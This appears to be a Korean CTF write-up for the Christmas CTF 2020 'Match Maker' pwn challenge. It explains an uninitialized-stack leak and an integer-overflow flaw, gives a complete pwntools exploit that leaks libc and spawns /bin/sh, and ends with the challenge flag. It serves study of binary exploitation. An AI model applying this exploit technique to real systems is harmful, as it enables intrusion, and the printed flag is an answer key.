CTF(Capture The Flag)/XMAS 2020

Match Maker (Christmas CTF 2020)

cyanhe_wh 2020. 12. 30. 18:50
반응형

파일 정보

  • ELF 64-bit
  • Dynamically linked
  • stripped

보호 기법

  • RELRO : Full RELRO
  • Stack : Canary found
  • NX : NX enabled
  • PIE : PIE enabled

풀이

데이터 구조

buf memory structure
----------------------------------
name(0x20) 정확히 31byte 1byte는 null
----------------------------------

----------------------------------
func_addr(buf) |   min   |  age  |
----------------------------------
       |  max  |         |  sex  |
----------------------------------
sex_value(60)  |   hobby1
----------------------------------
    hobby1     |   hobby2
----------------------------------
    hobby2     |   hobby3
----------------------------------
    hobby3     |   partner data
----------------------------------

memory leak 취약점

void __fastcall set_name(__int64 buf)
{
  __int64 v1; // rbp
  __int64 name; // [rsp-38h] [rbp-38h]
  unsigned __int64 v3; // [rsp-10h] [rbp-10h]
  __int64 v4; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v4 = v1;
  v3 = __readfsqword(0x28u);
  printf_0("name: ");
  read_0(0LL, &name, 31LL);                     // 만약 적게 입력시 그 뒤에 값도 릭됨...
  strncpy_0(buf, &name, 31LL);                  // 취약점요!!
  if ( __readfsqword(0x28u) != v3 )
    sub_1160();
}

void __cdecl show_match(human *buf)
{
  __asm { endbr64 }
  puts_0(buf);
}

프로필을 만드는 함수에서 이름을 입력하는 함수가 존재하는데 이 부분에서 해당 함수의 지역 변수에 입력을 받고 그 뒤에 strncpy를 이용해 이름을 옮긴다. 이 과정에서 무조건 31바이트를 입력을 한다.
만약 입력을 받을 때 31byte보다 적게 입력을 받으면 입력 받은 값 뒤에는 초기화 되지 않은 name의 데이터까지 복사하게된다.
만약 복사해서 show_match 함수를 통해 출력을 하게되면 뒤에 메모리 주소가 노출되게 된다.

실제 0 을 8번 입력했는데 뒤에 라이브러리 주소가 있어서 같이 복사된다.

show_match를 실행하면 뒤에 바이너리가 같이 출력된다.

Integer Overflow 취약점

void __fastcall find_match(human *buf)
{
  __int64 v1; // rbp
  __int64 v2; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v2 = v1;
  if ( buf->match_func )
    ((void (__fastcall *)(human *))buf->match_func)(buf);// 조작이되면 실행가능!!
  else
    puts_0("You must create a profile");
}

void __fastcall set_func(human *buf)
{
  __asm { endbr64 }
  if ( buf->min_sub_age + buf->max_sub_age ) // 최소 + 최대 
    buf->match_func = choice_func(buf);
  else
    buf->match_func = (__int64)sub_1309;
}

int64 __fastcall choice_func(human *buf)
{
  int64 *v1; // rbp
  int64 v3; // [rsp-8h] [rbp-8h]

  v1 = &v3;
  *(&v3 - 3) = (__int64)buf;
  *((_DWORD *)v1 - 4) = *(_DWORD *)(*(v1 - 3) + 0x2C) * *(_DWORD *)(*(v1 - 3) + 0x2C);// 최소 * 최소  
  *((_DWORD *)v1 - 3) = *(_DWORD *)(*(&v3 - 3) + 0x30) * *(_DWORD *)(*(v1 - 3) + 0x30);// 최대 * 최대 

    // 같으면 둘다 무시하고 초기화되지 않은 data 값을 반환
    if ( *((_DWORD *)&v3 - 4) > *((_DWORD *)&v3 - 3) )// 최소 > 최대 
    *(&v3 - 1) = (__int64)min_func;             // 최소가 더크면 이 함수를 넣는
  if ( *((_DWORD *)&v3 - 3) > *((_DWORD *)&v3 - 4) )// 최대 > 최소 
    *(&v3 - 1) = (__int64)max_func;             // 최대가 더 크면 이 값을 넣

    return *(&v3 - 1);
}

find match 함수에서 buf가 가지고 있는 함수 주소를 실행해준다.
그것을 결정하는 것은 프로파일을 만들 때 나이 값을 가지고 실행할 함수 주소를 결정한다.
그런데 choice_func 함수를 보면 2 값을 비교한다.

최소 나이에서(min_age) 입력한 나이(age) 값을 뺀 값 (min_sub_age), 최대 나이에서(max_age) 입력한 나이(age) 값을 뺀 값 (max_sub_age)을 각각 제곱해서 한쪽이 더 크면 해당하는 함수 주소를 저장한다.
그런데 여기서 만약 두 값이 같으면 정해진 값이 반환되는 것이 아니라 초기화되지 않는 Stack의 데이터를 반환한다.

이름을 0000000011111111222222223333333 , 나이 65,536 , 최소-나이 -65,536 , 최대-나이 131,072 이렇게 들어갔다.
만약 둘다 제곱을 하게되면 4byte가 넘어가게되서 0으로 바뀐다.
두 값이 같으므로 어떠한 함수 주소도 들어가지 않는다.

초기화되지 않은 스택의 데이터를 보면 이름 입력한 데이터 값의 일부가 출력된다.
그렇다면 이름 부분에 실행하고 싶은 함수 주소를 넣으면 실행이 가능하다.

Exploit

from pwn import *

p = process('./match')


def make_profile(age, name, min_age, max_age, sex, hobby):
    print(p.sendlineafter('> ', '0'))
    print(p.sendlineafter('age: ', str(age)))
    print(p.recvuntil('name: '))
    p.send(name)
    print(p.sendlineafter('you: ', str(min_age)))
    print(p.sendlineafter('you: ', str(max_age)))
    print(p.sendlineafter('> ', str(sex)))

    for i in hobby:
        print(p.recvuntil(': '))
        p.send(i)


def save_profile():
    print(p.sendlineafter('> ', '1'))


def find_match():
    print(p.sendlineafter('> ', '2'))


def show_match():
    print(p.sendlineafter('> ', '3'))


# leak offset = 0x94013
make_profile(30, '0'*8, 0, 35, 1, ['A'*15, 'B'*15, 'C'*15])
show_match()
print(p.recvuntil('0'*8))
leak = u64(p.recv(0x6).ljust(8, b'\x00'))
lib_base = leak - 0x94013
log.info(f'lib base   @ {hex(lib_base)}')

system = lib_base + 0x55410
log.info(f'system     @ {hex(system)}')

payload = b'/bin/sh;' + b'A'*8 + p64(system)
make_profile(65536, payload, 0, 196608, 0, ['A'*15, 'B'*15, 'C'*15])
find_match()    # system("/bin/sh")

p.interactive()

Flag

XMAS{1_d0n7_w4nna_kn0w_who'5_tak1ng_U_h0me}

반응형

'CTF(Capture The Flag) > XMAS 2020' 카테고리의 다른 글

angrforge (Christmas CTF 2020)  (0) 2020.12.30